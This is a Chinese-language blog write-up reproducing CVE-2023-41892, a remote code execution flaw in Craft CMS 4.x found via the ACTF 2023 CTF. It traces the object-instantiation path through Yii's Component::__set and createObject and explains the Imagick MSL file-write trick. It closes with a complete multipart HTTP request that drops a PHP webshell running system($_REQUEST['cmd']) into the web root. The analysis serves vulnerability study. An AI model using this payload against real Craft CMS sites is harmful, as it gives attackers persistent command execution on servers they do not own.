故事从这里说起

在前不久的ACTF中看见了这个cms,有一个原生类调用写马新trick,于是今天来复现学习下

环境配置

需要使用php8以上版本,安装好所有的扩展,下载存在漏洞的版本:https://github.com/craftcms/cms/releases/download/4.4.14/CraftCMS-4.4.14.zip

要求文档https://craftcms.com/docs/4.x/requirements.html

php craft setup
php craft serve

然后访问127.0.0.1:8080即可

或者可以使用ACTF配好的docker搭建也是没有问题的:https://github.com/team-s2/ACTF-2023/tree/main/web/craftcms

漏洞通告

Affected versions
\>= 4.0.0-RC1, <= 4.4.14

在通告中我们可以看见改动在cotrollers/ConditionsController.php中的beforeAction方法中

https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g

image-20231107085216574

漏洞分析

跟到这个函数中这个函数主要是在方法被调用之前调用

image-20231107104350526 主要的漏洞点在这个configure方法中,想要得到这个函数的参数,必须得执行createContdition方法

image-20231107104150915

跟进到src/services/Conditions.php

image-20231107163609085

我们可以看见如果所传入的class并非ConditionInterface 类的子类,那么就会抛出异常 ,ctrl+alt+B我们可以看见他所有的子类,让我们接着回过头来看conficonfigure这个函数,他是一个对象属性进行赋值的一个函数,并返回赋值属性之后的对象image-20231107164549675

这里我们可以想到__set魔术方法 寻找一下 发现跟入的是Component.php中的__set魔术方法image-20231107172517895

如果在这里对一个不存在的成员变量赋值,会调用yii\base\Component::__set(),跟入set方法下,这里我们看到第三条,首先如果我们以"as "为开头时 ,会先移除前面的部分,接下来判断value值是否这个实现了Behavior接口的实例,不是的话将value作为构造函数的参数image-20231107173108319

跟进Yii::create0bject

image-20231108171823973

如果type中包含"class"的键值对,就把他赋给class变量,接着跟入get函数

image-20231108172557369

get函数中如果_definitions成员变量没有class的值 ,那么就执行build,build函数是一个让我们能创建任意对象,并会调用该类的构造和析构函数,这样就完成了任意类实例化,这样我们就可以想到原生类的利用

这时候我们可以看看p神星球的新trick 也就是原生imagick类 他只有一个构造参数 ,满足了条件

MSL全称是Magick Scripting Language,它是一种内置的 ImageMagick 语言,其中存在两个标签<read><write>可以用于读取和写入文件,这个 Trick 的核心就是利用这两个标签写入任意文件Webshell

payload:

POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 192.168.111.178:8080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 850

----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"

conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"

craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"

{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>
<write filename="info:/var/www/html/craft/web/shell.php">
</image>
----------------------------974726398307238472515955--

原生imagick类可以看bmth师傅的博客,比较详细:

http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

复现参考:

http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/